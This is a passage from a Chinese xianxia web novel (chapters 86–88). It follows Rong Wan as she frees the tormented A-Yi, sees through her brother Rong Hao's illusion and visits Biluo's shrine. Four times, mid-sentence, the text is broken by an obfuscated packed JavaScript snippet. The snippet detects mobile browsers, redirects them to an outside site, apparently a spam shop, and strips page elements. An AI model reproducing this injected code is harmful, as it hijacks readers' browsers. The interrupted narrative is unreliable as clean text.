所幸,结界是容晚亲设,她带着几个人过去,并非难事,有十成把握。她调用灵力,顺着一处极小的阵眼打开结界,留一个单独的生眼,是她多年设阵的习惯。 “上仙,”九方莲提醒道:“这道阵印上,当年被我……君首叠加了一道阵印,您还是小心为妙。” 那层阵印上覆盖了一层浅黑色的符文,繁复古老的咒印最后却化为一个问题,褚尽欢的声音顺着阵印轮转,“我、是、谁?” “褚尽欢。”容晚答。 咒印的黑雾浓重三分。 “君首?”夙昼答道。 黑雾又重一分。 “都不对啊。”褚扶光挠挠脑袋,“那是什么?” 九方莲一直沉默着,而容晚的眸光飘远。 褚尽欢是谁?落乌君首,她同门的师兄。 几度开口,容晚却叫不出一句师兄。她目光落在褚扶光身上,问:“依照仙门辈分,比你小之人晚入门的弟子唤你什么?” “师兄。”褚扶光答道。 可惜那道阵印依然没有什么反应。 明明是一句话、一个称呼,但她就是不想叫。容晚掌心起阵,金光倾斜出去,流光溢彩,缠绕着那些丝丝缕缕的黑雾,其间隐约有一张脸,属于女子的脸。 下一瞬,剑锋收回,容晚压着落乌剑光砍向了自己的方向,毕竟其他人的站位让她无处落剑。 “痛吗?”夙昼掌心幻化出不晴剑的虚影,以念化剑,剑光将刺时,容晚喊道:“那是阿意!” 对上夙昼茫然的目光,容晚心如死灰地说:“她是阿弥的娘亲,不是幻象,不是虚相。” 夙昼缓缓放下剑。 “上仙,这种时候不必念旧情,她已无神智,被容皓困于此间无非只是一场折磨。你想帮她,只需杀了她,容晚。”九方莲眼里似乎划过一丝不忍。 指尖划过一道白光,容晚打开灵境禁制。她并未像从前的许多次一样,直接拎出来小树,仅仅是放开所有的禁制和符文,让境内的人听得见此间声音。 容晚在诡异的寂静中开口问那团黑雾:“认得我吗?” 黑雾并不说话,她那张雾气汇聚的脸,随风摇晃,眼眶中不见眼白,尽是黝黑,容晚闭了眼,曾经桀骜的女将军落得今日,是她的错。 “你不说话,是不能吗?”容晚指尖碰了下那抹雾气,属于诡道禁阵的黑色雾气,果然是容皓,一切的一切指向容皓。 “我一直猜错了,你自始至终都是容皓的人,是吗?九方莲。”容晚一剑砍向九方莲,剑光撕裂石室。 碎石迸溅中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272747|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,九方莲淡淡笑道:“我的心始终忠于上仙。” “鬼才相信你。”容晚狠狠说。 那道契约,确实能证明九方莲此时所言为真,可他属于褚尽欢亦为真,至于容皓,他绝不会再用背叛过他的人,九方莲恐怕是弃子。 容晚想,她曾受困于诡道禁阵,神魂自然受得住侵蚀。于是,她默默同夙昼拉开距离,悄悄在褚扶光掌心画了一道阵印,和他低声说,一会儿抱着夙昼哭。 褚扶光似懂非懂地点头。 黑色雾气渐重,如果张开五指,一个极小的灵力漩涡在掌间吸引黑雾。 一道道黑雾缠身,夙昼冲过来握着她的手腕,“你疯了?” 容晚眼神一撇,褚扶光深深吸了一口气,抓着夙昼的衣袖往一边拖。 天晓得,他居然真的拽动了! 夙昼心里想的是,活了这么多年,忽然被一个十几岁的小屁孩拽得毫无还手之力。他不满地抱怨,却更是像撒娇:“师父,你拉偏架。” 他一掌扣上褚扶光的脑袋。另一手合着灵力,去吸引容晚掌间的雾气,以血灵珠为媒介,黑雾消散地极快。 雾气散尽,一个肤色惨白的女子呆呆地张着口,倚着冰冷的墙角,紧紧环缩着自己,惊恐的眼神宛如容晚等人都是骇人凶兽。 “阿意,是我呀。”容晚俯身去碰她。 褚空月的指尖已无皮肉,锋利的骨爪霎时刺穿容晚的手臂。 似是不觉痛一般,容晚另一手替她拂去鬓间乱发,褚空月狠狠地在她手臂上咬了一口。 她的眼神望向夙昼,悄声说:“我没事。”夙昼按着手臂上的位置,那里的疼痛几近于利刃穿身,比起一剑穿胸只差了一点点。可他为容晚而痛,痛她所痛,便觉得更痛上几倍。 “阿意,是我,还记得吗?”容晚眼中一热,褚空月拒绝任何触碰,只能任由她蜷缩在小小的角落。 而灵境中的小树迟迟不肯出来。 “衡——小树,我疼,你出来替我看看呗!”容晚尽可能平和地叫他,心里却道:“衡游,求你。” 灵境中久久未曾有回应。 “小树……我血要流干了,你不看看我的伤吗?”容晚说:“我很痛,很痛。”她分不清是伤口痛,还是自责之痛,悔恨之痛。 罢了。容晚再未唤他。 夙昼一脸乌青地拖着褚扶光走过来,顺手伸入容晚的灵境中。 毕竟这方灵境对他从不设防。 揪着小树出来后,对上对方浸着血的眼睛,夙昼难得言语温和,语气尽是祈求之意:“小医仙,拜托你替我师父看看好不好?” 衡游上仙,我师父她真的需要你。 风似乎停了,那团雾气再无飘晃,小树忽然站起身,甩开夙昼,脚步沉重地走向褚空月。 路过跪坐在地的容晚时,他像过往无数次那样,指尖搭上容晚的灵脉,沉思半响后起身:“等会儿。” 夙昼一愣,刚要开口。 小树含混地开口:“死不了,急什么。” 86. 方生方死 扭作一团的头脑,不甚清晰的目光,在泪意和精神崩溃下的恍惚,他脚步越发虚浮。他想躲回灵境里去,想永远做小树,没有衡游了,忘掉自己是衡游,就不必面对这一切。 “我……”容晚忽然抓住小树,她言语所求所唤不是那个饮她灵血的冷桂树灵,声声所唤,皆是从前挚友。 “能不能帮我救救她,你想要什么都可以。”容晚下意识想许诺灵剑法器,灵植灵药,可他现在不会再想要了。 这一怔,容晚什么也没说出来,默默松开手。 小树置若罔闻,耳边听不见任何声音。他朝着那团黑色的雾气走去。 奇怪的是,那团雾气并没有攻击他,其间的褚空月以一切方式驱赶着他离开。 褚空月并不认识小树。那她还记得衡游吗? 她还记得他吗?小树止住脚步,呆呆地站在原地不动。 忽然,褚空月动了动,唇畔吐出两个字,朝小树伸出手,或许该称为一只白骨嶙嶙的手,她唤道:“阿弥。” 众人意料之外,齐齐震惊。小树眸中划过一份痛楚,她为什么在唤阿弥? 将这一切收归眼底,容晚如同未认出衡游一般,祈求着说:“小医仙,你和她的女儿——阿弥长得很像,你们的眉眼如出一辙,好看极了。” 小树的眼里漾起一团光,他穿过黑雾,忽然倾身抱了抱褚空月,悄悄在众人视线未及处吻了下她的侧脸。 仅仅一刹那的温情。 “杀了她。”小树决绝的眼神,不再像是个单纯的小树灵,他眸中的痛楚和不忍,最终化成一句话,“大小姐,帮我用落乌剑杀了她。” “不!”容晚躲开他来抢落乌剑的动作,呵斥道:“我不会。” 怎么能,怎么能再杀她一次,怎能叫她再死一次。 “大小姐,最好趁她虚弱且有意识时,一击即中。”小树的声音听不出悲喜,平静冷淡地同上望春山的风雪一般。 他不是衡游,可眼神眸光分明又是衡游。一千多前的相识,容晚绝不会认错。哪怕夙昼、褚尽欢都认不出他,她也不会认错。 “可是——为什么?”容晚不愿意这样做,落乌剑的剑光随她的心绪一起黯淡、黯然神伤。 “快!”小树的语气都变得冷静严肃,“你杀不了她,我来杀,剑!” 容晚拍开小树的手,她不再掩饰、不再伪装,像望着旧友瞳眸一般,望着这双年少的眼睛,声如微雨沉闷,“不。” 小树渐渐说:“听话。” 他像在上因同她起争执时,像是在人间哄她喝药、为她扎针时,那样地让人无法拒绝。他主动地卸下所有伪装,低吟说:“容晚,剑。” 从她手里取落乌剑时,容晚慕然不挣扎了。在立场和道德之间,选择了站在衡游一边。哪怕心里有一百个声音在说,那是阿意,那是活生生的阿意,但她松开了握剑的手,瞳仁一同涣散。 “大小姐……容晚。”小树唤她的名字,熟悉的眼神安抚她,“信我,她不是。” 容晚回身躲在夙昼怀里,她仅仅攥着他的手,像濒死之人抱着浮木,用尽一切力气。 褚扶光害怕到捂住双眼。 九方莲的眸光居然有几分古怪,他明明是要杀了她,希望杀了她,那双狭长眼睛的血红瞳仁里,竟然有悲悯和同情。 “阿弥。”褚空月沙哑的声音传来,多年囚禁,早已不是清丽声线。 那一剑刺出时,容晚望见小树的背影,鹅黄色的外裳不是衡游会穿的衣裳,他以握刀的姿势将剑砍出去,用的是刀法。 时隔漫长岁月,透过小小的树灵,容晚再一次望见故友的身姿。 黑雾崩散的瞬间,褚空月凄厉的叫声戳痛每一个人的双耳。 阵印消散,小树软绵绵地摔在地上,容晚透过那道虚影,似乎能望见衡游的影子,又什么都看不到。 “阿弥……阿弥……”褚空月在阵阵光影里化为光点,一刻未停的沙哑声音里听得出思念。 细碎的粉色光点汇聚在落乌剑之上。至此,剑灵已成。 “为什么?衡游为什么骗我?若是褚空月是假的,不会有剑灵。”容晚怔然发问。 落乌剑早已同小树一起摔落在地。小树躺在地上,惺忪地睁开眼睛,却再没有任何眼神转换,圆圆的眼里是一片童稚,“大小姐,我怎么睡着啦?” 衡游竟是消散了吗?他这一缕神识只是来帮她一程?容晚擦了擦眼睛,哽咽道:“小医仙,你救了我们,是大英雄。”她用力地抱了抱小树,忍住嚎啕大哭的冲动,她不再是孩子了。 眸光渐渐落在结界之后,容晚凝神一望,和夙昼率先走进去。 九方莲踏过褚空月躺过的地方时,脚步顿了一下,声音极浅地说了句走好,没有人听到。 小树怔愣着望了又望,直到褚扶光回头来牵着他的手,一高一低的少年身影跟在容晚身后踏入上因。 上因为何处?是有人故土,有人本源,是有人心怀芥蒂之地,更是有人筹谋千年选中的牺牲之地、困梦之所。 仙雾冷风中,落雪拂过指尖,望春山四时不变。容晚躺在云间,意识昏沉,她握了握拳,一点力气也没有,耳边嗡鸣刺响,她渐渐陷入混沌。 耳畔隐有说话声,容晚听不真切。 “晚晚,该和哥哥回家了。这里只是梦,只是你一场大梦。”容皓抱起她,踩过夙昼的手掌,踹了一脚站在一旁的九方莲,声音冷清,“带一群不相干的人做什么。” 容皓的眸光渐渐狠厉,“都杀了。” 时隔多年——容晚的九年有余。她以从未想过的方式,再一次回到上因,而仙雾缭绕的上因,五千余年未有过容晚。 金色符文的阵印轮转,璀璨金光映在容晚的侧脸上,不知何时醒来的她张了张唇,喊道:“阿昼,你在哪儿?” 她觉得心中的悲凉,像一场秋雨将她浑身浇了个湿透,寒凉刺骨。 “晚晚,晚晚。” 熟悉的声音传来,容晚透过金光,望见摇晃的晶玉冠冕,她猛然睁开双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286150|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 长久的黑暗刺得她眼睛一痛,刺目的金光袭来,待泪意横流,她望见此间—— 夙州灵台,漫天妖魔仙人层层坐落,这是霜元一百九十九年的灵台审判。 缓缓转过眼眸,容皓蹲跪在她身前,环抱着她,“晚晚,你怎么样?” 容晚一惊,她下意识地抬手,可掌心的重量压得她抬不起来。她垂眸一看,上因剑被鲜红血迹浸透,指尖碰了碰,温热而滚烫。 “他呢?”容晚整个人都是颤抖的,手抖着,连上因剑锋亦在抖。 “晚晚,他方才消散了,你不是清楚地知道是怎样发生的吗?”容皓眼中尽是疼惜,替她一点点擦拭了手间血迹,指尖一动,换了一身崭新的衣裙。 “不可能。”容晚挣开他,扫视着漫天的仙魔妖人,第一眼就望见那位老药仙,他喋喋不休地骂她。明明他们应该在傀地,捆在黑水湍流之内。 而此时的其他人正激烈地同容晚设下的灵阵相抗衡。一切好似没有改变,又回到那一刻、那一日。 是梦吗?人间界的九、十年真是一场大梦?她没有爹爹娘亲,没有系统,没有和夙昼重逢,更没有说出过那句“我爱你”。 察觉到容皓长久的注视,容晚缓缓抬头,问:“容皓,你骗我?” “骗你什么?”容皓一怔,他装得一无所知,“你不是说,今日三界分立,我把一切都准备好了,我们开始吧。” 不、不要。容晚只想拒绝,忽然想到人间里以三人生祭的三界阵印,她拒绝道:“不,我反悔了。因为你骗我。” 容皓避过她的目光,心口慌张得一下下猛跳。她的敏锐,让这一个谎言撒得更不容易。他耐着性子,温和到:“哥哥骗你什么?” “你打算用谁来祭阵?” “晚晚向来知我心中所想。”容皓松了口气,“可惜来不及了。” 那些人早已死在阵眼里了,死在属于他们的真实的世界,这是他瞒着容晚做的。 “是谁?”容晚瞪他一眼,狐疑的目光缓缓扫视着此间一切,明明同那日清醒一模一样,她还是不愿相信过往的九、十年是梦。 或许是她不愿接受夙昼的离开,不愿回到他死在她怀里的那一日。于是,她心中有了偏好,有了比较,有了怀疑,盯着这里每一个细节。 “人间薛容,他是薛铎之子。落乌是一个小乌卫,从前跟在夙昼身旁那个。而上因……”容皓坦诚道:“是碧落。” 毕竟他也不能再变一个活的碧落出来,虽不麻烦,可同容晚相熟,极易露馅。 容晚显然大吃一惊,她握着上因剑横在容皓颈侧,笑着说:“可我觉得你还是在骗我。” 但容皓到底是做了万全准备,容晚的疑虑都在他的算计中。 “我骗晚晚什么?我们方才还一起设了阵,拦下了夙昼和褚尽欢的死斗,他们死了,而我等着你醒来。” “是这样?”容晚有些怀疑自己的记忆,“难道只是我大梦一场?回家、再见阿昼,都是假的?” 87. 方生方死 “哥哥怎会骗你?”容皓笑容满面。 容晚抬手看了看腕间,诡道禁阵、红月印、天道契,一切都和从前一样,但她执拗地认为这里不是从前。 一模一样的情景再现,一模一样的天道契,也不意味着这里,就是当年。 “晚晚?”容皓见她眼中的疑虑,竟也慌了心神,“虽说我答应你三界可以分立,世间不会再有共主,但你若不想,我自然和你一起,那我们先回上因宫好不好?” 不待容晚回答,容皓攥着她的手腕,迫不及待地往上因宫去。 穿过夙州灵阵的结界时,容晚回望一眼夙州,皑皑白雪覆盖之下,坐落有序的房屋城楼渐渐缩小,像一幅图画。那颗挂满冰晶的花树依然是显眼存在。 顺着花树走过一二巷道,便是有一颗树,终年繁茂、不落叶不结果。找到那树,便能望见乌衣巷尾,她的旧居。 可是——树在哪儿? 神识下意识地落在乌衣巷尾,容晚却怎么寻也不曾寻到那一处小院——她曾和挚友所爱之人住过的地方。 看似天衣无缝的骗局就这样撕开一条裂缝,像漆黑的傀地落进来一束光。 容皓不知容晚在人间的旧居,也从未去过。世人对此毫无记忆,容皓便无从得知过往。他绝不敢冲入容晚的识海,用她的记忆来重塑夙州,一是会惊动她,二是时间来不及。 于是再多的小心谨慎、事无遗漏,也在这一刻成了笑话。 一路上,容晚都未挣开容皓。她利用紧张的世间,分辨出何为阵眼。 云雾遮挡间,风吹处隐隐能望见符文波动。容晚心平气和的目光落在夙州、落在这个处虚假的幻境。 “容皓,不要自欺欺人了,此处是上因而非夙州,三界依然分立,你的虚幻之境我勘破了。” 容晚看见容皓的背影僵住了。 “呵!”容皓的拳头握了又握,嗤笑道:“晚晚这么快发现,显得哥哥很无能。” “他们呢?”容晚立刻想到夙昼,他定能自保,可小树和褚扶光毫无胜算,落在容皓手中,虽不死也要脱层皮。 “这么久不见,不和哥哥叙叙旧,找什么人?”容皓笑问。 “你真行。”容晚此时才十分确定,乌衣巷尾从未现世,她不过虚虚诈他一下,容皓就输了。 “是你放我出去,还是我自己破阵,我们两败俱伤?”容晚心急如焚,脸上却是冷静的,仿佛什么也不在乎,她并不想激怒他。 “晚晚,这里是梦,是假的。”容皓急切道:“我已经找到回去的办法了,这里只是个梦而已,爹爹娘亲都是假的,连……”他莫名顿了一下,“那个容朝也是假的。一切都是谎言,只有我们不是。” 他近乎乞求道:“和哥哥一起回家好不好,这里真是一个梦,但我们不是,到时候你会发现,我们从来都在霜元一百九十九年,而非这里……” “够了!”容晚不愿再听,绕着阵眼转了一圈,一入上因,上因剑即受她感召,惊起漫天仙雾直落掌心。 剑光夺目映在容晚澄澈的眸中,她握剑的手在抖,心绪翻涌。不可能是假的,爹爹娘亲还有哥哥都不是假的……她不信。 指尖捏诀,掌间的金光阵印如同万箭齐发射向云间,随风散去四面八方,她在祈求、在自说服自己,“不是梦,绝不是梦。” 容晚神色中近乎是虔诚的祈祷,眼眶中全是热意,她在想象中一寸一寸搭出乌衣巷尾、四方小院的全貌,那颗盛开的紫藤花树,倚在冰树之下满身血污的少年,再到身长玉立八风不动的青年帝王,衡游、薛沐,一个个故人身影同她一起看破此间阵印。 漫天璀璨的光芒卸下伪装,阵印符文一点点破碎,裂痕如网般延伸。 容皓就站在容晚身前望着他,唇角是大事已成的笑意。他轻轻拂过容晚飘动的发丝,声音带着笑,那笑似乎从胸口一直笑到眼睛。 忽然,容晚脑中涌现出一种令人恐惧的可能性。 如果容皓的目的并非是欺骗她,而是引着她亲手打破结界,打破曾经她设于夙州的结界—— 三界分立的阵印以夙州阵印为基石,结界碎,三界要么合而为一,要么两两相撞,什么也不剩。 阵印的裂痕就这样停滞在空中,容晚一道道封回去,“容皓,我只问你一句,你究竟要做什么?” “重要吗?”容皓抬眸望向那一道裂痕,“起码在这个梦里,我可以不选你,大开杀戒体验一把三界共主的极乐。但真实的世界里,我总是会选你,会选你活着。只是梦而已,何必认真?” 胡言乱语也叫容皓说得这般真挚。 “既然如此,”容晚转了转眼睛,顺口扯了个谎,“那既然如此,梦里你先都听我的,让我也过一过瘾,然后我们再回去,如何?做什么这样看我,你不是说了,只是梦而已,何必认真?” “好。”容皓应道,他溺于她的目光,醉于她的允诺,便什么也顾不上了。 真是病得不轻。容晚宛如喝了一碗极苦的灵药,苦得她头脑发昏,濒临发疯的边缘,却想哈哈大笑,偏偏是忍住了,仅仅是唇角抽动了一下。 估计着勘破幻境所需的灵力,容晚用了一成、两成,直到第三成灵力落下去。 浅白色的天幕映入眼帘,雪落下,化在她眼里。容晚眼里泛上湿意,一抬眸撞入夙昼的眼里。 就是这样巧合,夙昼正支着剑坐在积雪树下、冷清石上,鹅毛大的飞雪随着风落他鬓发间、长睫上。 低垂着的眼眸冷静而热烈,映着地上那一堆噼里啪啦作响的篝火。 褚扶光扑在火堆前烤火,望春山的冷意他受不住,甜甜唤了一句“大小姐”。 小树,沉默着,一圈又一圈地在山道上踱步。看见容晚,眼中欣喜,看见她身后的容皓时,身形不可察觉地颤抖了一下。 下意识的目光躲闪,小树望见被捆在雪地里五花大绑的九方莲,实在没忍住,笑出了声。 而夙昼一直没说话。 “等很久吗?”容晚碰上夙昼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295120|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊,冷意冰到指尖,他却向后一躲,炙热的掌心紧紧包裹着她冰凉的指尖。 “真是感谢那个印记,让我知你安好,只是迟迟不见你,等待太过灼人。这两个小孩,好吵闹,我心难静、难安,于是更思念您。”夙昼弯着唇角甚是无奈。 而容皓望着他们,牙都要咬碎了,最终攥紧了拳头,提醒道:“晚晚,你不是说要看看碧落吗?” “那是谁?”褚扶光不识容皓,向来不怕人,遥遥冲他行了一礼,拉着小树又是一礼,他说:“我们要知礼。” 小树笑得甚是难看。 “她是上因最后一位战神。”容晚浅声道。 “为什么是最后一位呢?”褚扶光问。 “因为后来世间再也没有战事。”容晚说。 “那不是好事吗?大小姐怎么这样难过?”褚扶光言辞无忌,却正戳中她的伤心事。 自从碧落的兄长绯泉假传仙诏,死于北域,那一日碧落含泪望了她一眼,那就是她们的最后一面了。 当然要去见见她。 因为同容晚有过约定,容皓全然听从她,跟在一行人身后不言不语,不做出格之事。 而他的存在却惹得夙昼不快,他握着容晚的手,指尖裹着热意在摩挲,复又摩挲。他同她十指相扣,颇为幽怨道:“您要和他回哪里的家去?” 抬起手,吻过容晚的指尖,夙昼又问:“不带我吗?”他在和容皓宣誓主权,“您不是说爱我吗?” “爱?你有什么资格?你竟敢爱上你师父——”容皓几乎是瞬间被激怒,声音狠厉,诡道禁阵的符文朝夙昼落下。 而夙昼以念化剑,凌厉剑光穿云破雾,血灵纠缠剑光威力更甚,冲向容皓。 两人在云间打成一片混战。 “你以为你是怎么赢的?你以为我是输给你?”夙昼每一剑都落得极快,铺天盖地的剑光令人眼花缭乱,灵力威压更是惊得上因众仙齐齐在云端间探出了分身。 在战神冢近处打一场惊天动地的架,实在是太过难堪。 “停!”容晚喝道。 夙昼立刻收回剑光,宛如什么也没发生般闪现在容晚身侧。他眉眼带笑,似乎从未如此开心过,笑道:“您看我可有长进?差一点就全力以战了。可惜——这仙门首座嘛,多少还是差了点意思。” “你敢再说一遍?”容皓咬牙道,他并不善战,在剑光之下,诡道禁阵再为强悍也显得慢了。尽管是没打完的架,但一招不慎,便是输了。 “你敢再听一遍?你想听,我为什么要说呢?”夙昼笑吟吟地立在容晚身侧,不听话的指尖去勾她的手,却被一个细小的符文捆起来,动也不能动。 “师父,帮我解开吧。”夙昼垂下眼,落在她如玉如脂的手、腕,再到柔软的颈。 “自己解。”容晚握着剑往战神冢走。 听见一声轻笑,容晚握紧剑柄,手心里有些痒。 温热指腹在她掌心轻轻勾了一下,力道重了几分,又是一下。 88. 方生方死 时年望春山小雪。 容晚折下一枝雪间松枝,轻轻搁在了灵碑的案几上。 那里有永不枯萎的繁花,不会腐败的瓜果,时时刻刻保持温度的甜酒,种种一切显得那枝松枝有几分轻薄。 “碧落战神,好久不见。”容晚凝视战神冢前的灵碑,其上书写着“碧落之灵位,首座容皓立于霜元二百零八年”。 容晚见过小仙碧落,副将碧落,唯独不曾见过战神风姿。 灵碑前双眸紧闭的虚相泛着纯白荧光,她无悲无喜,眉眼之中又尽是悲悯。 在上因界的日子里,容晚总是听说仙拥有漫长的寿命,通常来讲不老不死。成仙是何摸样,便一直是何摸样。 “你怎么会死的呢?”容晚在这一瞬间,在仙雾蒙上眼睛,风落在耳边时,不那么平静地发问:“为了什么?” 答案并不难寻。三界分立的灵阵以生人为祭,薛容、乌卫十三亦或是碧落,他们是被坦然相告,还是被蒙骗,以救世的名义被送上刑台。 这些都无从得知了。容晚看着她年轻的脸,一如望春山上初见,漫天风雪间,那个小小仙侍拉着她的裙角,说:“上仙,我想选望春山,我想选您。” 碧落是个聪慧的姑娘,心有所向,在别的弟子下学玩闹时,她刻苦练剑,请求容晚教她剑法、阵法,解她读书之惑。 于是,在漫长的一千多年里,她们就这样携手走过。 直到、直到容皓逼迫容晚亲守北域,碧落决然同行,而她的哥哥绯泉以必死之心篡改仙诏,死在了他们面前。他护的是谁?或许是北域苍生,但更重的是他的妹妹碧落。 对于绯泉,作为容皓的随侍仙官,容晚同他见面寥寥数次,印象深刻的还有一回。他眨着眼睛里的泪意,请求容晚护碧落平安。还有那一句“兄长怜爱妹妹之心。” 因此,从不多管闲事,也不轻易许诺的容晚许了绯泉一诺,因为那句“兄长怜爱妹妹之心”。 而如今生死两隔,碧落的虚相静静地飘于灵碑前、灵台上。 “迟来的一句祝贺,恭喜你成为战神。当年没有什么预言,我卜卦那一门学得很差,只是我相信你可以做到自己想做的一切。”容晚幻出一盏温酒,轻轻碰了下案几上的茶杯,“战神大人,珍重了。” 酒盏搁下,容晚起身,觉得心口胸闷,上因界的仙雾缭绕,似是蒙住她的心,叫人窒息。她捂着心口往外走,外面还有人等她。 是她此生不愿再放手的人,是此生不能再亏欠之人,是她身负责任之人,还有她的…… 亲人还是仇人,容晚始终无法对容皓画上一个准确的分类,但他不能再执着下去了。 容晚垂着眸,只听一阵轻快笑闹声。 几个少男少女笑闹着相携而来,捧着用心准备的贡品,话里话外议论着明日仙考,请求战神保佑拿个甲等。 一个少年不小心撞上了容晚,抬起眼判断容晚的灵力,猜测着唤出称呼:“上仙,晚辈冲撞了。”他的同伴一齐回道:“上仙安好。” “无事。”容晚忽然问过一句,“你们拜战神大人,那可会去拜怜光上仙吗?” “那是谁?如今上仙们都没有封号的。”少年眼神迷茫,显然是没听过这个人。 “不认识、不认识……”另一个少年摆手道。 “那……你们可知望春山?”话问出口,容晚便觉有些难堪,为什么要求证后人对自己的记忆?又为何要问。 她本就不属于这里,被遗忘又如何呢? “哦,这个我知道那是一处禁地,听闻里面住着一位不好相处的上仙。”少年答道。 “你怎么知道?”少年的好友反驳。 “不然为什么只有那鬼地方天天下雪,连带周边仙山都冻得冷,我天天想搬家……” 和少年少女们道过谢,容晚从战神冢出来,便望见战神冢外那混乱的场面。 至于为何是容晚孤身一人进入战神冢,事情有些令人作笑。 夙昼进门时被战神冢前的禁制挡了一下,踏过去的长靴便收回来,落在了门外灵阶上。 战神唯一想见的人只有容晚,而那位仙门首座也不曾进入战神冢。至于其他人,小树和褚扶光根本迈不进门,自然只有容晚一人前去。 奇怪得很,当年究竟发生了什么?在她离开之后,事情如何走向眼下的局面。 这不是她的本意,也绝非同容皓如此相商。 容晚绝不会牺牲任何一个人祭阵。 除非那个人是她自己。 当年夙州灵台,灵阵如细密织网般束缚着所有人。她在回家前的最后一刻,用自己祭了阵。 那是霜元一百九十九年。夙昼消散在她怀里,就在那一瞬间,系统的通报声响起的第一瞬间。 容晚弯起指尖,垂下眼眸,望见自己衣裙外裳夺目的血。 那就最后做一件事,最后为这个世界做一件事。 金银交相辉映的阵光里,容晚望了一眼容皓,指尖一抬,汹涌灵力泄出去,顺着山河湖海而下笼罩三界。 她在炫目金光里消亡、消失、回家。 正因如此,那三位祭阵者的真相,才让她一步步从人间到傀地、落乌,最终追到上因。 因为本不必如此。 哪怕薛铎为人再可恶,稚子无辜,薛容何必要为人间祭阵。 哪怕乌卫对于落乌界人微言轻,可小人物也不该随便死去。 哪怕碧落自愿,哪怕她身无眷恋,但她的责任不在祭阵。 本不必如此—— 但他们就是不明不白地死去,身死、形死,死在世人心里。 因为碧落是战神,仙人寿命无限,她被铭记。那凡人薛容?乌卫十三? 总要有人为他们之死探一个明了,绝不能如此轻易地翻篇。岁月史书该有他们的名字。 - 容晚出来的一瞬,夙昼抬起眼眸,眼中是淡淡的笑意。他指尖扣了扣上因剑,指了下某个方向。 顺着望过去,小扶光被一个小仙女揪着脸蛋,对方的调笑叫他紧张不已,满面通红,神色却极为正经正直。 夙昼抱着她给他的上因剑笑看小仙女调笑小古板。容晚蓦然笑了。 小树迷茫地坐在云团里,似是望向一个方向。 容晚不动声色地走过去,顺着他的眸光——那是曾经的书灵阁,衡游的家。时过境迁,那颗桂花灵树依然枝繁叶茂,其间仙雾缭绕仍旧望得见树影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314932|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那颗种下他、诞生他的种子,来源于那颗树。有时候,世事就是这样不公,明明那颗桂花灵树该与衡游同寿,可树木长久矗立于上因,人却早已丢在时光深处啊。 是啊,世间太久。容晚想起曾经誓言,她说定会杀了容皓以报衡游身死之仇。 这是一件大事、必然要做的大事。 “想什么呢?”容晚敲了下小树的脑瓜壳。 “我苗圃里的灵植不知道怎么样了。”小树说。 “是啊,不知道。”容晚不知道他问的是哪一处苗圃。或许他现在只是小树,又或许是那个装着不认她的衡游。 属于他的苗圃很多,望春山的苗圃依然繁茂,人间小院的已然枯死,落乌里他和褚空月的故居今日早已为平地,落落涧的里的苗圃向来有弟子照料,不必担心。 不过眼下并不是谈论苗圃的好时机——刚巧有人所见趋同。 “晚晚还有心情谈苗圃?死了。”容皓不耐烦道:“你要来战神冢我也陪你来过了,该回家了,晚晚。” 几乎是同一瞬间,夙昼的眸光飘忽不已,他垂下眼,攥紧上因剑。心底升上一种莫名其妙的痛,像极了那日自毁式地以剑入心时,心脏破碎前最后的挣扎跳动。 他想问,还是要回家吗? 但他还没问出口,容晚安抚的目光落在他眼里,忽然便不破碎了。 就是这样,哪怕夙昼碎成一地,只要容晚驻留一瞬的眸光,他仍旧是受她珍视的夙昼,从未变过。 “好啊,但我有个问题。”容晚问:“仙门首座如何成为仙门首座?” 剑锋指向容皓,容晚不再哄着容皓,言辞直接,“你还是在骗我!你怎么可能做了五千多年的首座!” “我有什么理由骗你呢?”容皓抬眸,他坦然地张开双手,“我本就是,从始至终,毫无欺瞒。可不像你身边心心念念的阿昼。” “呵,阿昼。”容皓几乎要呕出来。 每多说一个字,站在容晚身侧的夙昼脸色便沉一分。他的杀阵蓄势待发—— 